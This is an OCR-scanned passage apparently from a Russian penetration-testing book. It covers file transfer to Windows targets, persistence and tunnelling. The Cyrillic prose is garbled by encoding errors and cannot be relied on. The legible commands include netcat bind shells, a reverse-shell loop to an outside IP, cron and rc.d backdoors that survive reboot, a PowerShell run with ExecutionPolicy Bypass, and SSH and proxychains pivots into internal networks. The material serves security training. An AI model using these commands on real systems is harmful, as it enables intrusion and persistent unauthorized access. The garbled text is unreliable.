chown -hR ftpuser:ftpgroup /home/ftpusers/ — cMeHa BJajiesiblla KaTaaora
U BCEX ero MojIKaTajoros Ha ftpuser u rpymisl Ha ftpgroup;

systemctl restart pure-ftpd — nepesaiyck cepsuca Pure-FTPd,;

cp /usr/share/windows-binaries/nc.exe /home/ftpusers/joe/ — KonnpoBaHue
UCITOJTHSIEMOTO (haiijia Nc.eXe B IOMAIITHUI KaTaJIor 1T0JIb30BaTelis JOe;

ftp localhost — noakiodenue k FTP-cepsepy, 3allyiieHHOMY Ha Hallleld MalllnHe.

WTak, Mbl yCTaHOBUJIM U CKOH(UIYPUPOBAJIU CEPBUC, a TAKIKE CO3/1a/IH JOMALIHIO
JMPEKTOPHIO W TIOJh30BATENS. 3aTeM MbI TIPOTECTHPOBAJIN HAII CePBEP U YO IIICH
B €ro paboTOCIIOCOOHOCTH.
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OcnosHoll ipobsiemoii FTP-cepBepoB B KOHTEKCTE TeCTUPOBAHUS Ha TIPOHUKHO-
BeHUE SIBJIIETCS UX MHTEPAKTUBHOCTh. Kak Bbl BUIETM U3 IPUMePA BbIIile, [T0CJIe
TOIKITIOYEHNUST K CEPBEPY MBI OJIKHBI OBLIN MPEIOCTABUTD JIOTHH, TAPOJIb, & 3aTEM
MPEKPATUTh CECCUIO TTPH TIOMOITIN KOMaH/IbI bye.

ITposeMOHCTPUPYEM, TIOUEMY 3TO SIBJSIETCS TIPOOJIEMON 1 KaK ee MOKHO OOOUTH.
[Ipeamososkum, BaMm yaamaoch moayduTh noctyn K Netcat (nc) Ha oOfHON 13 MalImH
nenesoii 1C, koropas paboraer o yrpasieruem Linux. B Xoze rcciegoBaHmss Mbl
obHapy KU, uTo Ha (haiiepBosie oTKpoIT OpT 8080, HOaTOMY Oy/IEM UCIIOIH3OBATH
ero. JIJ1g Havasia 3aIycTM ne¢, KOTopbiil Gyaer paborath Ha mopte 8080:

pupkin@mailserver:~$ nc -lvnp 8080 -e /bin/bash
listening on [any] 8680 ...

B aroit komanme HCIIOJB3YIOTCA CIEAYIONINE ITapaMETPhI:

o -1 YKa3bIBacT Netcat pa6OTaTb B PEKUME «CIIYITAHUA», OKUTasd BXOAAIIETO MO/~
KJIIOYEeHM A,

® -V yCTAaHaBJIUBAET PEKUM HOI[pO6HOFO BbIBO/IA;

e -n ykasbiBaer Netcat He IpeoOPa3OBLIBATH UMEHA XOCTOB, UTO TIOMOTaeT u36a-
BUTHCA OT HEeHY:KHBIX DNS-3a1mpocos;

® -p 8080 yKa3blBaeT HOMEp I10PTa;

® -e /bin/bash nepenaet Netcat MHCTPYKIIMIO BBINIOJHATH /bin/bash nipu ycra-
HOBKE BXOJSIIETO MOAKIIOYCHII.

3alryCTUB NC HAa MalIMHE >KePTBBI, MOAKIIOYUMCS K HEl MTPU MTOMOIIN TOTO e NC.
IMonpobyem noaxounThest U K FTP-cepsepy:

root@kali:~$ nc -vn 192.168.10.181 8080
ftp 192.168.10.105
joe
123456
bye

Brisicasiercs, 4To MBI HU4Yero He BUAUM. Mbl He MOKeM y3HaTh, 4To oTBevaeT FTP-
cepBep. ITo HeM30eKHO MPUBEAET K TPYAHOCTSIM B paboTe U IoTepe A0CTYIIa, T0-
HTOMY HaJI0 IOIBITAThCS 000ITH Ty IPOOIEMY.

g momydyeHns MHTEPAKTUBHONW KOHCOJIM BOCIIOJIb3yeMCs HHTEPIPETATOPOM
Python. Ha nauubiii MmomenT Python siBisiercst oHUM U3 caMbIX TTOMYJISIPHBIX
A3bIKOB [IPOIPAMMUPOBAHUS U YCTAHOBJIEH IIPAKTUYECKH Ha KasKJ0M cepsepe. B ero
COCTaB BXOJIUT CTAHAAPTHBIN MOYJIb /IS CO3[IAHMS TICEB/IOTEPMUHAIIOB pty:

root@kali:~# nc -vn 192.168.10.181 8080
python -c 'import pty; pty.spawn("/bin/bash")"’
pupkin@mailserver:~$

MpbI osryunin 0CTYI K TICEBIOKOHCOJIN, TeTlepb Y HAC eCTh BO3MOXKHOCTH UCIIOJb-
30BaTh MIPUBBIYHYIO WHTEPAKTUBHYIO KOHCOJIb, TIOMPOOYEM COCTMHUTHCS ¢ HAIIUM
FTP-cepBepom:
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pupkin@mailserver:~$ ftp 192.168.10.105

Connected to localhost.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.

220-Local time is now ©8:10. Server port: 21.

220-This is a private system - No anonymous login

220 You will be disconnected after 15 minutes of inactivity.
Name (localhost:root): joe

331 User joe OK. Password required

Password:123456

230 OK. Current directory is /

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> bye

221-Goodbye. You uploaded © and downloaded @ kbytes.

MNepenaya dpannos B Windows

C nepezaueii ¢aiisios B Linux Bce 06CTOUT HOCTATOYHO IIPOCTO BBUY TOTO, YTO BCET-
Ila MOKHO HaiiTu kakoe-inbo npexycranosiennoe I1O: Netcat, curl, wget u 1. a.
C Windows Bce HeMHOTO CJIOJKHEe, HO He Gy1eM OIlyCKaTh PYKH U IIOCMOTPUM, YTO MOJK-
HO C/IeJIaTh. YBEPEHHOCTD BCEJISIET TO, YTO B MocjeAHuX Bepcusx Windows ecTb cBoii
npenyctaHoBiaeHHbIi FTP-kaneHT, 1 XOTsI OH KOHCOJTBHBIHN, 3TO OYeHb HAM TTOMOJKET.

B cBs3u ¢ paccMoTpeHHOI Bbilie ocoberHocThio FTP /i 1enonb3oBaHms KOH-
COJIBHOTO KJIMEHTA MbI BHauaJjie MOJATOTOBUM TEKCTOBBIH (hails, comepKalinili Bce
HeoOXO0IMMble KOMaH/IbI, a 3aTeM IepelaJliM ero B KaueCcTBe MapaMeTpa KIMEeHTY
Ha CKOMIIPOMETHPOBAHHON MalinHe. ITo HeOOXOAUMO /I TeX CJIydaeB, KOrja HaMm
OyJIeT HeIOCTYITHA KOMaH/IHAs CTPOKa, paboTaoIas B MHTEPAKTHBHOM PEKIME.

Coneprxanne daiina ftp.txt:

open 192.168.10.105 21
USER joe

123456

Bin

GET nc.exe

bye

SaHyCTHNIKHHEHTZ

C:\Users\test>ftp -v -n -s:ftp.txt

3arpysuth (ailjasl MOKHO ¢ ucrnosbzoBanreM VB u PowerShell-ckpunros. s
IpUMepa CO3/alM CKPHUIIT, KOTOPbIiT He OyeT TpeGoBaTh OT MOTb30BaTE sl HUKAKUX
JIOTIOTHUTEJIbHBIX ZIEHCTBUH, TO ecTh HemHTepakTuBHBIN. Vcnonb3ys HT TP, nannsrit
CKPWIIT 3arpy3uT (haii, 3aparnee pa3MelleHHbII HaMu Ha BeG-cepBepe:

HTTPDownload "http://www.robvanderwoude.com/files/wmigen.zip", "C:\"
Sub HTTPDownload( myURL, myPath )

' Written by Rob van der Woude

Dim i, objFile, objFSO, objHTTP, strFile, strMsg
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Const ForReading = 1, ForWriting = 2, ForAppending = 8

Set objFSO = CreateObject( "Scripting.FileSystemObject" )

If objFSO.FolderExists( myPath ) Then

strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) )
ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
strFile = myPath

Else

WScript.Echo "ERROR: Target folder not found."

Exit Sub

End If

Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )

Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )

objHTTP.Open "GET", myURL, False

objHTTP.Send

For i = 1 To LenB( objHTTP.ResponseBody )

objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )

Next

objFile.Close( )

End Sub

Tenepb MbI MOJKEM 3aITyCTUTD 9TOT CKPUIIT U3 KOMaH[[HOﬁ CTPOKU:

C:\Users\test> cscript get.vbs

Eci cucrema sxeprebl paboraer oz yipasiernunem OC Windows 7, Windows 2008
uiu GoJjiee HOBO# BEpCUU, MOKHO Hanucath ckpunT /st PowerShell, uro snaunresns-
HO yTipocTuT paboty. [l Havata co3MauM CopepKaliii HeoOXOMMBbIE KOMAH/IbI
(haitn 1 nazoBem ero get.psi.

Conepsxanne daiina get.psi:

$webclient = New-Object System.Net.WebClient
$url = "http:// 192.168.10.105/nc.exe"

$file = "nc.exe"
$webclient.DownloadFile($url,$file)

Terepb BIIOJHUM CO3/aHHbIE HHCTPYKIMH, crob3yst PowerShell:

C:\Users\test> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive
-NoProfile -File wget.psl
B nannoit komanzie UCONb3YIOTCS CIeyIoNre TapaMeTphI:

® -ExecutionPolicy Bypass II03BOJISET 3allyCKaTh CKPUIITHI 6e3 Kakux-a160
OTpaHUYEHUT;

® -NoLogo oTkiiouaeT otobpakenne gororuma PowerShell mpu samycke, uto o6bramo
HCTIOJIb3YETCS JITIsT COKPBITHS JIMITHEH WHGOPMAIIUK [IPU BBITIOJHEHUT CKPHUITTOB;

® -NonInteractive OTKJIIOYAaeT BO3MOKHOCTb B3aUMO/IENCTBUS C I10JIb30BaTeJ/IEM;

® -NoProfile Mo3BoJIET He 3arpy:KaTh IPOMUIIN MOJb30BaTe el IPH 3aITyCKe, 9TO
yckopsieT mpoiiecc 3amycka PowerShell u yMeHbIaeT BeposiTHOCTh BOSHUKHOBE-
HYS OIMOOK, BRI3BAHHBIX HACTPOHKAMU TPOpUIIS,

® -File get.psl ykaseiBaer PowerShell na daiin, cogepskanimii KoMaHIpL.
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[Tocsie Toro Kak GBI MOJTYYEH TOCTYT K TETEBOI cucTeMe, HaM HY/KHO 3aKPETHUTHCST
Ha 3aXBaYE€HHBIX PYOeKaX U MOIEPKUBATD ATOT OCTYI. Hepenko BOSHUKAIOT CUTY-
alnu, KOr/la Bbl HAXO/IUTE YSI3BUMOCTD, 9KCILIyaTUPYyeTe ee, [MoJydaeTe 10CTYIl K Ma-
IIHHE, a B 9TY K€ HOUb aJIMUHUCTPATOP OOHOBJISIET CHCTEMY, 3aKPbIBast HAUJIEHHYO
BaMU YSI3BUMOCTD, U BbI OOJIBIIIE HE MOKETE BOCIIOB30BATHCS JaHHBIM CEPBEPOM.
To ke camoe kacaeTcs 1epe3arpy3ku CUCTeMBbl.

Jluist mopyiepskatust 10CTyIIa CYIECTBYeT IMUPOKUI Habop MHCTPYMEHTOB, HAuMHAs
C pa3JII/I‘{HbIX <<6QK,[[OpOB>> 1 3aKaH4YMBasd BIIOJIHE JICTUTUMHBIMN I/IHCprMEHTaMI/I
u3 cocrasa OC. C ux OMOIIBIO [10CJI€ 3aKPEIIEHNUs B CUCTEME Bbl CMOXKeTe (e3
pobJIeM MOKII0UaThCs K HEll CTOJIBKO pas, CKoJIbKO moTpebyercst. Kpome Toro, Bbl
CMOJKETe CO3/IaBaTh TYHHEIN U paboTaTh Tak, OYATO HAXOAUTECh BHYTPU CETH Opra-
HU3AI[UH, YTO CYHIECTBEHHO 00JIErYHT BBIIOJHEHNE AaJbHEHIINX 3a/1a4.

[Tmoc co3manus TyHHEIEH B TOM, YTO WHKEHED, HAXOASIIUIICS BHYTPHU CETH, IMEET
ropasnio 60JbIe CBOOOBI /IJIsT CKAHUPOBAHMYSI U aTaKU CHUCTEM, TIOCKOJIBKY 3alluTa
4acTo HalleJIeHa Ha [TOMCK BHEIIHUX aTak. ATaka, MCXO/SIas OT CUCTEeMbl BHYTPU
ceTr, IMeeT GOJIBINE TMAHCOB OCTAThCS HE3aMEUEHHOTH.

Netcat

Netcat (nc) — oueHb MolIHag U THOKas yTUAKWTa, paboTaomiasd 13 KOMaHIHON
CTPOKH, YaCTO HAa3bIBAEMast «IIBEHI[APCKUM apMEHCKUM HOKOM» JIjist paboTHI ¢ ce-
tbio. Ona ucnosbdyercs ast cozfnanusg TCP- u UDP-coeaunennii, ckannpoBanus
MOPTOB, Tiepeaun (HailaoB U gaske I CO3/IaHUS TTPOCTBIX CKPUTITOB U MTPOTPAMM.
Netcat 06bIYHO MpeLyCTaHOBJIEH Ha OosbnHCTBE UNiX-CUCTEM U MOKET paboTaTh
B PEKMMAX «KJIUEHT» WU «CePBEP».

WTax, nposkcIiyaTupoBaB ys3BUMOCTb, Mbl TIOJIYYHJIN IOCTYTI K KOMaHHON CTPOKe
cepsepa. Terepb co3aIM TPOCTON GIKIOP € UCIIOIb30BaHUEM netcat:

#nc -1lvp 1234 -e /bin/bash
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B sroit komarize:
® -lvp 1234 faetr netcat MHCTPYKITUIO «CJYTIAThy Ha opTe 1234;

® -e /bin/bash ykasbiBaeT netcat BbIIIOJIHUTDH /bin/bash 1pu mojsydyeHun coemu-
HEHUs, TTPE/IOCTABIISS yIaJleHHOMY T10JIb30BaTeJI0 T0CTYII K KOMaH/IHOW CTPOKe.

Temepp MBI MOKEM TTOJKJIIOUNTECS CO CBOETO KOMITbIOTEPA K CKOMIIPOMETHPOBAH-
HOMY cepBepy:

#nc 67.67.12.3 1234

ITO elile He BCe — MBI 3aKPEIUIIIChH HA 3aXBAYE€HHOM CepBepe, HO YTOOBI He TOTePATh
JIOCTYII IIOCJIE TIepe3arpy3Ku CUCTeMbI, HaM HEOOXO0AMMO J00aBUTh NC B aBTO3aIPY3KY.
ITO MOXKHO CIEJIATh HECKOJIBKIME criocobamu. [Ipumenum cron. J[Jist 5T0oro 0TKpoiite
penakrop crontab -e u gobaBbTe CIEAYIONIYIO CTPOKY:

@reboot /usr/bin/nc -lvp 1234 -e /bin/bash

CoxpanuM pe3yJsTar U BbllijieM U3 pejjakropa. Tenepb @reboot MHCTPYKTUPYET CTON
3aILyCKaTh NC IIPU KAKI0H 3arpy3Ke CUCTEMBIL.

Bropoii crioco6 — go6asuts nc B re.d. i aToro cosaiite aiin re.netcat B gupex-
topuu /etc/re.d. Terepb 106aBUM Ty CIELYIOIIUI TEKCT:

#!/bin/sh

mkdir /tmp/nc

while true ; do

cd /tmp/nc | nc -1 -p 1234 -e /bin/sh
done

NC 1 0bpaTHbIf Wwenn

Mpb1 He Bcersia MOKeM PacCUMTHIBATh Ha JIOCTYII K Halllel 11eJIeBOI cucTeMe, HaXxo-
msich Bo BHermHel ceTn. [IpesictaBbre cebe CUTYAINIo, KOT/IA BCJEACTBHE N3MEHEHU T
MOMUTUK Ha aliepBosie GIOKUPYETCs OCTYIT M3 BHEITHEH CETH K OMPEIeICHHOMY
MOPTY Ha B3JIOMAHHOW MaIlllUHE.

Yr106bl COXPAHUTH AOCTYII K L[eJIEBON MalllHe, MOKHO UCII0Jb30BaTh 0OPaTHBII
mresir. B aTOM cirydae yke He Mbl OyIeM MOJKJII0UYATHCS K MallliHe, B3JIOMaHHast
crcteMa OyIeT MOAK/II0UYaThCs K TOMY CEPBEPY BO BHEIIHEH CETH, Ha KOTOPbI Mbl
yKakeM. ITO MOKET ObITh KaK OTAEJIbHBIN CEpBEP, TaK U KOMIIBIOTEDP, C KOTOPOIO
TIPOU3BOJIUJICST B3JIOM.

BosbinnacTBO (haitepBoJIOB pa3peniaioT COeMHEHUsI ¢ HAXO/SIIUMUCS BO BHEITHEH
CeTH cepBepaMH ¢ KCIIOIb30BAHUEM CTaHJAPTHBIX OPTOB: BeO-cepsepos (11optoi 80,
443, 8080), moutosbix cepsepos (moptsl 110, 25 1 T. 1.) nim JF0ObIX APYIUX BHEITHIX
PecypcosB.

Cosmaaum o6paTHBI 1esut npu oMoty netcat. [l 9Toro HammieM HeGOoIbIIoN
CKPUIIT, KOTOPBIi Oy/IET MOCTOSTHHO MTPOOOBATH TOAKIIOUUTHCS K BHEITHEMY CEPBEPY
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J0 TEX TIOP, IOKa Yy HETO 9TO HE ITOJYIUTCA. ITO O3Ha4Ya€T, YTO Mbl MOKEM BbBIKJIIOYUTDH
Halll KOMIIbIOTEDP, a KOI'/la BHOBb €T'0 BKJIIOYHM U 3aITyCTUM netcat B pexxnMme cepBepa,
aTaKOBaHHas MalllInMHa Cpa3y K€ IMOAKJIIOYNUTCA K HEMY CaMOCTOSATEJIbHO.

[IpuBenemM mpuMep TAaKOTO CKPUIITA!

#!/bin/sh

while true : do

nc 156.54.123.4 80 -e /bin/sh
done

Ha cBoem KOMIIbIOTEPE HaM H€'06XO,ZII/IMO 3allyCTUTb NC B PEKUME CEPBEPaA, U XOTA
BbI YK€ 3HACTE, KaK 3TO /I€JTa€TCs, HO BCE K€ ITIOBTOPUM:

#nc -1lvp 80

[epeHanpaBneHne NopToB U TYHHENMPOBAHNE

TyHnHenupoBanue — aTo TPOIECC, B XO/Ie KOTOPOTO CO3/IAETCST JIOTUYECKOE COe/IH-
HeHMe MeKy KOHeUHbIMU TOUYKaMu ceTH. Ero cyTh 3aKiio4aercs: B TOM, YTO IIPOUC-
XOJIUT WHKATICYJISAINS MTAaKeTOB OZIHOTO THIAa TpaduKa B MaKeThl APyTroro Buma. [Ipu
HTOM MHKATCYIMPYEMbIe TaHHbIE TOTKHBI HAXOAUTLCST HA TOM JKe MH GoJTee HI3KOM
yposae Moziesn OSI.

[lepenarnpapienne TOPTOB — 3TO METOJI TIEPEHATIPABJIEHHST JAHHBIX C OTIPEIETIEHHOTO
[opTa JIOKaJbHOIO KOMIIbIOTEPa Ha YaJleHHbI 1 Ha000POT, UCIIOJIb3yeMbIil B 3a-
HIUIIEHHBIX (DallepBOJIOM CeTsIX.

B 2011 ry1aBe MbI PaCCMOTPUM HEKOTOPbIE BAPUAHTDI IIepeHAIIPABJICHUS U TYHHEHU -
pOBaHuA U IPUBE/EM [IPAKTUYECKUe TPUMEPDI UX Hciosib3oBanus. Haunem ¢ camoro
IIPOCTOTO — TepPeHaIIPaBICHUS TIOPTOB.

[lepeHanpaBneHne NopToB

[lepeHarnpasieHue IIOPTOB — caMblil IPOCTOM crocob yrpasienus TpadukoM. Ero
CYTb 3aKJII0YAETCS B TOM, YTO MBI IPUHUMAEM CeTeBbIe IaHHbIC Ha MAIlIUHE C OJIHUM
[P-azgpecom 1 moproMm, a 3aTeM nepeHanpasisieM Ha apyroii [P-agpec u mopr.

[IpencTaBsre cebe TOCTATOTHO PACTIPOCTPAHEHHYIO CHTYATINIO: BBI TTOIY YT TOCTYTI
c cepBepy, mopkIiodeHHoMy K [106ambHoll cetn untepuer. [Ipogokas pa3BuBaTh
CBO€ HACTYILJIEHHE U MCII0JIb3YSI CKOMIIPOMETUPOBAHHBIN cepBep, Bbl IOJIYYUIN
JIOCTYT K OZIHOU U3 MAITUH BO BHyTpPeHHeH ceTu. /[ocTyn K MHTEpHETY Ha JaHHOU
MaIliHeE 3aKPBIT, BAM K€ JIJisI TIPOIOJIKEHMSI 3aXBaTa HH(PPACTPYKTYPbI HEOOXOIMMO
AKTUBHO OOMEHMBATHCS JIAHHBIMU, 3aTPY:KaTh HYKHbIE HHCTPYMEHTHI U T. JI. Bes
BO3MOKHOCTH HAIIPSIMYIO HIOJKJIIOUUTHCS K YKa3aHHON MalllHe BbIIIOJIHEHUE BCeX
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ATUX JIEUCTBUI OTHUMET Y BAC MAaCCy BPEMEHU U CUJI M CJIeJIAeT Bally JaJbHEHTITYTO
paboty Taxenoii (puc. 12.1).

N
ATakytowwuin
443 nopt
N

e

——
t444441443nopT44444J
Monb3oBaTenb Cepsep

Puc. 12.1. Cxema NOTOKOB AaHHbIX 6e3 nepeHanpaeneHus

rinetd

Rinetd — yruiura, ucnosbsyemast st nepenanpasiernss TCP-coenuuenuii ¢ of1-
Horo IP-anpeca u mopra Ha apyroit [P-aapec u mopt. ¥YTumura paboTaer Ha ypOBHE
OTIEPATTHOHHOM CHCTEMBI U He TPeGYeT HUKAKOTO CIIEIATLHOTO TPOrPaMMHOT0 06ec-
NeYyeHus Ha CTOPOHE KJIMEeHTA UJIH cepBepa.

Kondurypanumonnbiii daiii rinetd (/etc/rinetd.conf) copep:KuT cTpoKu ¢ 4eThIPbMSI
nossiMu: ncxoHbiit IP-anpec, ncxoansiii mopr, nesesoit [P-agpec u meseBoit mopr.

YeranosuM rinetd, qo6aBuM B ero KondurypannonHsiii daiin IP-agpec u nopt noj-
kiiouens, [P-agpec u moptT nepenamnpasiienyst Tpapuka:

root@kali:~# apt-get install rinetd

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following NEW packages will be installed:
rinetd

root@kali:~# echo "91.189.94.40 443 10.186.225.128 443" >> /etc/rinetd.conf
root@kali:~# systemctl start rinetd

Terepnb, Koraa Ml Gy/IeM TIOIKIIOYATHCST K BHEITHEMY cepBepy Ha TopTe 443, Bce
coeIMHEHMS GYYT TIePEHATPABASITLCSA Ha BHYTPEHHUN KOMIBIOTEDP Ha MOpT 443
(puc. 12.2).
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Puc. 12.2. MNoToK AaHHbIX NOCNE rnepeHarnpasiieHns

SSH-TyHHenupoBaHue

SSH (Secure Shell) — a10 ceTeBoii IPOTOKOJI, KOTOPBIIi IPEAOCTABJISET AAMUHUCTPA-
TopaM Ge30TacHbIi CrIOCcO6 YAaTEeHHOTO JOCTYIAa K KOMITBIOTEPAM U JIPYTUM CETEBBIM
yerpoiicteam. SSH cospaer sammdposanubiii kanas s 6e30macHol nepegaun
JAHHBIX MEK/Y KINEHTOM W CEPBEPOM.

[Monysapraocts SSH 00ycoBiieHa ciieayomumu (haKTOPaML

e besonacnocts. SSH ncnomb3yer coBpeMeHHbIE aTOPUTMbI NG POBAHNS 1715
3aIUTHI TIEPeIaBaeMbIX TAHHBIX.

e YuuBepcanbHOCTh. SSH mcnonb3yercs 171 pelieHns MIPoOKOTo CIeKTpa 3a/1ad,
BKJIIOUAs y/JAJIeHHOE /IMIHUCTPUPOBAHNE, Tiepeaady (HaiiIioB 1 TYHHEINPOBAHIE
TTOPTOB.

e [lupoxkas nogaep:xka. SSH paboraer ¢ 60JIbLUIMHCTBOM OIIEPALMOHHBIX CHCTEM,
BrJouas Linux, macOS, Windows.

e [Ipocrora ncrosb30BaHMs.

MepeHanpaBneHne ToKanbHOro nopTa

SSH Local Port Forwarding — mpotiecc, iprt KOTOPOM CO3/1aeTCsT HE30TACHOE CO-
ejiHEH e JIJIsT TlepeHarnpasienus Tpapuka yepes SSH-cepsep.

Pabotaer 210 cirenyomum 0OpasoM:

1) kawment ycranasiuBaeT OesomacHoe SSH-coenHeHNE ¢ YIaJeHHBIM CEPBEPOM.
Bech Tpaduk, uaynmii yepes aTOT TyHHEJIb, OyAeT 3aundpoBaH;

2) Ha KIMEHTCKOM KOMITBIOTEPEe OTKPBIBACTCS CIIEIUAJIBHBIN (JIOKAJTbHBIN) MTOPT;
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3) Bech TpadUK, OTIPABJISIEMbIN HA 9TOT JIOKAJIBHBII TTOPT, OYAET TepeHanpaBieH
yepe3 SSH-tyHHeb Ha olpe/iesIeHHBIH MOPT Ha y/laJleHHON MalluHe WU Ha
IPYTYIO MAIIIUHY, IOCTYIIHYIO Yepe3 3Ty YAAJEHHYIO0 MAIIUHY.

JlaHHBIN TTPUeM MOJKeT MPUTONTHCS BaM B HECKOJIBKUX caydasx. [lepsas u gare
BCEro BO3HUKAIONAs CUTYalldsl — JOCTYII K BHyTPEHHUM cepBrcaM. Bbl MokeTe 11oJry-
YUTH IOCTYT K MAIIHHE C BEIXOJIOM B [TT06aTbHYTO CeTh, a 4epe3 Hee — AOCTYIT K KOM-
IBIOTEPY BHYTPHU ceTu. Takoii ciieHapuii Mbl pacCMaTPUBAJIN B IPEABIAYIIEM CIIyyae.
[t IpotosKeH s aTaky Ha BHYTPEHHIOIO CeTh BbI MosKeTe co31aTb SSH-TyHnHeb.

Bropoit BapnanT mpumeHeHst — g poBaie, KOTOPOTO BB HE TOOHETECH, ICTIOIb-
3y rinetd. IlTucposanme mo3BOINT BaM yOUTDH Cpasy ABYX 3aiities. [1epBoiil — 06X0/T
IDS/IPS. HekoTopsie n3 HUX, HEe UMes BO3MOKHOCTH MTPOBEPUTH, UTO 32 JAHHbIE
HepealoTCst MEK/Y JABYMsI MAIIIMHAMIE B CETH, TPOCTO HUKAK HA 9TO HE OTPEArHPYIOT,
1 BBl OCTAHETECh HE3AMEYECHHDIM.

Bropoii «3astii» — 3T0 mpuBaTHOCTH. Kak yike TOBOPHIIOCH, BBI JOJKHBI YOEIUTHCST
B TOM, UTO JIIOObIE [TOJIydaeMble B XOJI€ ayJUTa JaHHbIe XPAHATCS U IepPeaaroTcst
MakcHMaJIbHO OesonacHbiM criocobom. Mcmoabsoanne SSH-TyHHEIEH O3BOIUT
PELTh 9Ty IPodIIEMYy.

Jluig Hatero npuMepa BO3bMeM ClieHapuii, abCOIIOTHO UAECHTUYHBII PACCMOTPEHHO-
MY B TIPEBIIYIIEM ITPUMEPE, TOJBKO TENEePh Peain3yeM IMepeHarpaBieHre MoToka
JaHHBbIX yepe3 SSH:

$sudo ssh -N -L -p 443 0.0.0.0:443:10.186.225.128:443 john@91.189.94.40

BoirostHB 9Ty KOMaH/Ly Ha HallleM KOMITbIOTepe, MbI IOJTyduM ciefyiotiee (puc. 12.3):

® Bech TpaUK, KOTOPBIIL IOIAET Yyepes mopT 443, OyaeT mepeHanpapieH Ha BHYT-
pPEeHHUII cepBep KOMITaHWUH;

ssh -N -L -p 443 0.0.0.0:433 ...

[ -
=

ATakytowmn 443
443 nopt

d 43”%_

BB | j0hn@o1.189.94.40
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]

— O —
L nopT ——
Monb3oBatenb Cepsep

Puc. 12.3. lNepeHanpasieHne nopToB C UCMOMb30BaHNeM SSH
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® MbI UCIIOJIb3yEM CKOMHpOMeTI/IpOBaHHHﬁ CEPBEP JIA OCTYIIa K MalllnHe, y KO-
TOpOI>,I HET COe/IMHEHMSI C BHEIIIHUM MUPOM;

® Bech Tpaduk mudpyercs;

® MbI 00X0ZMM OTpaHuYeHUS (hallepBOJIa, UCII0Ib3YsT HECTAHAAPTHBINA MTOPT JJIst
noakaoueHnst K SSH.

nepeHanpaBneHme yAaneHHoro root@83.99.16.5

nopTa @
—

SSH Remote Port Forwarding — merox, npu mo-
MOII[M KOTOPOTO MOKHO II€PEHANPABJISTh Tpa(bmuc atyioh
c nopra Ha ynanennoM SSH-cepBepe Ha yKkazaHHbIN 25 nopt 5900
MOPT Ha JIOKaJTbHOU MamuHe (Uaud HA APYTOU yna-

JIEHHOH MaliHe ). ITO 03HAYAET, UTO BCE MOJKIII0Ue- Brauneam

HIISI, IOCTYIAOIIME Ha OTpe/ieIeH bl mopT Ha SSH- e e

cepsepe, OYAYT aBTOMATUYECKH TT€PEHATPABICHDI B

yepe3 SSH-TyHueb. T s
[IpencraBbre, 4TO BaM yAAI0CHh MOJTYUYUTH HOCTYII 25 nopT%g

K yIAJTEHHOMY KOMITBIOTEDPY, TIOJYUUTD XEITH Mapo- e
Jieif, a TI0 HUM y3HaTh camu maposn. Ha kommbiotepe Cepsep
ectb VNC-cepsep, paGoraroniuii Ha mopre 5900. Beza 127.0.0.1:5900

B TOM, YTO HAIPSIMYIO K JaHHOMY KOMIIBIOTEDPY BbI
MOJAKJIIOUUTHCS HE MOYKETe, OJJHAKO C HEr0 MOKHO
HOJKJIIOYUTHCST K BHEITHUM PeCcypcam, UCIOIb3YsI
mopter 80, 443, 25 (puc. 12.4).

Puc. 12.4. YaaneHHoe
nepeHanpasfeHne nopTos
C Ucnonb3oBaHneM SSH

john@office:~# ssh -R -N -p 25 83.99.16.5:25:127.0.0.1:5900 root@83.99.16.5

Tenepb ycTaHOBJIEHO MOJIKJIIOYEHME K BallleMy KOMIIBIOTEPY € YJAJIeHHOH MallluHbl
1 BbI 6e3 mpobJieM cMoskeTe noakaounThest K VNC-cepsepy B 06xoj1 (aiiepsouia.

JnHaMnyecKoe nepeHanpasieHne NopToB

Camas WHTEPECHaA 9aCThb — AMHAMHWYECKOE IIepeHaIipaBJIcHNE ITOPTOB, OHO TTO3BOJIA-
€T CO3/IaTh Ha JIOKAJIbHOM KOMITBIOTEPE CBOETO poJa ITPOKCHU-CEPBED, Yepe3 KOTOprﬁ
6y]_I€‘T OCYHIECTBJIATBCA TYHHEJIMPOBaAHNE Tpa(l)I/IKa.

BBozmble 1aHHbIE HEMHOTO U3MeHSTCsI. [IpeacTaBbre, 4TO BaM yAanoch B3JIOMATh
cepsep, HaxoAuiics B cetu DMZ, a y Hero ectb JOCTYII K yOJIMYHON ceTu yepes
nopt 80. Coznaanm Ha cBoeM KommbioTepe SOCKS4-nipokcu, KoTopsiil Oyaer pabo-
TaTh ¢ ucrnoab3oBannem nopra 80 u mepenanpassAaTh Tpaduk yepes SSH-Tynnennb
K J1060My 13 cepepos B ceti DMZ (puc. 12.5).

J1J1s1 9TOrO Ha CBOEU MAIIINHE BBIITOJIHUM:

$sudo ssh -N -D -p 80 127.0.0.1:80 john@93.86.15.20
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Puc. 12.5. [lnHaMmnyeckoe nepeHanpassieHne nopTos C UCNONb30BaHNMeM SSH

Ho a0 erie He Bee, /711 BBITIOJHEHUST IUHAMUYECKOTO TIepeHAIIPABIeHUsT HAM TIOHA-
n00UTCA BTOpast yTiauTa — proxychains. 9o GeciiatHas yTUINTA, ITO3BOJIAIONIAST
m060oit mporpamme, pabora kotopoil ocnosana Ha TCP, nepecbliaTh CBOM JaHHbIE
gepes 1enouky npokcu-cepsepoB — TOR, SOCKS4, SOCKSS nm HTTPS.

Jlist paBoTHI ¢ HAIITMM TYHHEJIEM BHECEM HEKOTOPBIE TIPaBKU B KOH(DUTYPAIMOHHBIIT
daiin /etc/proxychains.conf:

[ProxyList]
socks4 127.0.0.1 80

Teneps Bce roToBo. /111 TprMepa 3aIryCcTUM NMap, KOTOPBIH MTPOCKAHNPYET BHYTPEH-
HIOIO CeTh OPTAaHU3AIINH, UCTIONb3Ys co37ianHbiil Hamu TyHHE b 1 SOCKS4-rpokcen:

$sudo proxychains nmap --top-ports=30 -sT -Pn 10.186.225.0/24

Plink

[Tocsie TpouTEHUsT TPUBEIEHHOTO BHINIIE MaTepUaia y BAC HABEPHIKA BOSHUK BO-
